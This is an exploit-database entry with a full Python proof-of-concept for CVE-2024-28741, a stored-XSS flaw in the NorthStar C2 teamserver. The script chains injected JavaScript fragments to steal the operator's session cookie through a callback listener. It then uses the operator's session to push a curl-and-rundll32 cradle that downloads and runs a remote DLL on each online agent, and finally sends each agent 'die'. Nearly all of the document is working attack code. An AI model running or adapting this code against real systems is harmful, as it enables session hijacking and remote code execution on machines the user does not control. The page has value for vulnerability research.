Share
## https://sploitus.com/exploit?id=1337DAY-ID-39447
# Exploit Title: NorthStar C2 agent RCE via stored XSS
# Exploit Author: @_chebuya
# Software Link: https://github.com/EnginDemirbilek/NorthStarC2
# Version: v1.0
# Tested on: Ubuntu 20.04 LTS
# CVE: CVE-2024-28741
# Description: NorthStar C2 applies insufficient sanitization on agent registration routes, allowing an unauthenticated attacker to send multiple malicious agent registration requests to the teamserver to incrementally build a functioning javascript payload in the logs web page.  This XSS can be leveraged to execute commands on NorthStar C2 agents
# Blog: https://blog.chebuya.com/posts/discovering-cve-2024-28741-remote-code-execution-on-northstar-c2-agents-via-pre-auth-stored-xss/
from http.server import BaseHTTPRequestHandler, HTTPServer
from bs4 import BeautifulSoup
import requests
import base64
import threading
import time
import os

class Collector(BaseHTTPRequestHandler):
    def do_GET(self):
        cookie = self.path.split("=")[1]
        print("Cookie: " + cookie)
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"")

        background_thread = threading.Thread(target=steal_agents, args=(cookie,))
        background_thread.start()

        self.server.shutdown()

def agent_execute_command(agent_id, csrf_token, headers, command):
    data = {
        'slave': agent_id,
        'command': command,
        'sid': agent_id,
        'token': csrf_token
    }

    r = requests.post(target_url + '/functions/setCommand.nonfunction.php', headers=headers, data=data)

    while True:
        r = requests.get(target_url +  f"/getresponse.php?slave={agent_id}", headers=headers)
        if len(r.text) != 0 or command == "die":
            break
        
        time.sleep(1)

def steal_agents(cookie):
    headers = {
        "Cookie": f"PHPSESSID={cookie}"
    }
    r = requests.get(target_url + "/clients.php", headers=headers)
    soup = BeautifulSoup(r.text, 'html.parser')
    rows = soup.find_all('tr')

    agent_ids = []
    hostnames = []

    for row in rows:
        cells = row.find_all('td')
        if len(cells) != 9:
            continue

        status = cells[7].text.strip()
        if status != 'Online':
            continue

        agent_ids.append(cells[1].text.strip())
        hostnames.append(cells[5].text.strip())


    script_tags = soup.find_all('script')

    csrf_token = None
    for script_tag in script_tags:
        if 'csrfToken' in script_tag.text:
            csrf_token = script_tag.text.split('"')[1]
            break

    if csrf_token:
        print("CSRF Token:", csrf_token)
    else:
        print("CSRF Token not found")
        return

    for i in range(len(agent_ids)):
        agent_id = agent_ids[i]
        hostname = hostnames[i]
        print(f"Stealing {hostname} ({agent_id})...")

        print("Enabling shell mode")
        agent_execute_command(agent_id, csrf_token, headers, "enablecmd")
        print(f"Running sliver cradle: {cradle_command}")
        agent_execute_command(agent_id, csrf_token, headers, cradle_command)
        print("Disabling shell mode")
        agent_execute_command(agent_id, csrf_token, headers, "disablecmd")
        print("Sending suicide to slave")
        agent_execute_command(agent_id, csrf_token, headers, "die")

    
    print("Exploit finished, exiting")
    os._exit(0)


def xor_encryption(text, key):
    encrypted_text = ""
    
    for i in range(len(text)):
        encrypted_text += chr(ord(text[i]) ^ ord(key[i % len(key)]))
    
    return encrypted_text

def generate_sid(sid):
    encrypted_sid = xor_encryption(sid, "northstar")

    return base64.urlsafe_b64encode(encrypted_sid.encode()).decode()

def exploit(target_url, callback_url):
    target_url = target_url.rstrip("/") + "/login.php"

    protocol = callback_url.split(":")[0] + "://"
    host = callback_url.split("/")[2].split(":")[0]
    h1, h2 = host[:len(host)//2], host[len(host)//2:]
    
    if callback_url.count(":") == 2:
        port = callback_url.split(":")[2]
    else:
        if protocol == "https://":
            port = "443"
        else:
            port = "80"

    sid_payloads = ["N*/</script><q", "N*/i.src=u/*q", "N*/new Image;/*q", "N*/var i=/*q", "N*/s+h+p+'/'+c;/*q", "N*/var u=/*q", f"N*/'{protocol}';/*q", "N*/var s=/*q", f"N*/':{port}';/*q", "N*/var p=/*q", "N*/a+b;/*q", "N*/var h=/*q", f"N*/'{h2}';/*q", "N*/var b=/*q", f"N*/'{h1}';/*q", "N*/var a=/*q", "N*/d.cookie;/*q", "N*/var c=/*q", "N*/document;/*q", "N*/var d=/*q", "N</td><script>/*q"]
    for sid in sid_payloads:
        print(sid)
        params = {
            'sid': generate_sid(sid)
        }

        requests.get(target_url, params=params, verify=False)

def run(port):
    server_address = ('', int(port))
    httpd = HTTPServer(server_address, Collector)
    print(f'Server running on port {port}')
    httpd.serve_forever()

cradle_command = r"curl http://192.168.1.6:8000/stager.dll > c:\users\public\stager.dll & rundll32 c:\users\public\stager.dll,inject & echo DONE"

callback_host = "192.168.1.6"
callback_port = "8080"

target_url = "http://192.168.1.4:80"
callback_url = f"http://{callback_host}:{callback_port}"

print("Sending malicious agent registrations...")
exploit(target_url, callback_url)
print("Registrations finished, waiting for execution...")
run(callback_port)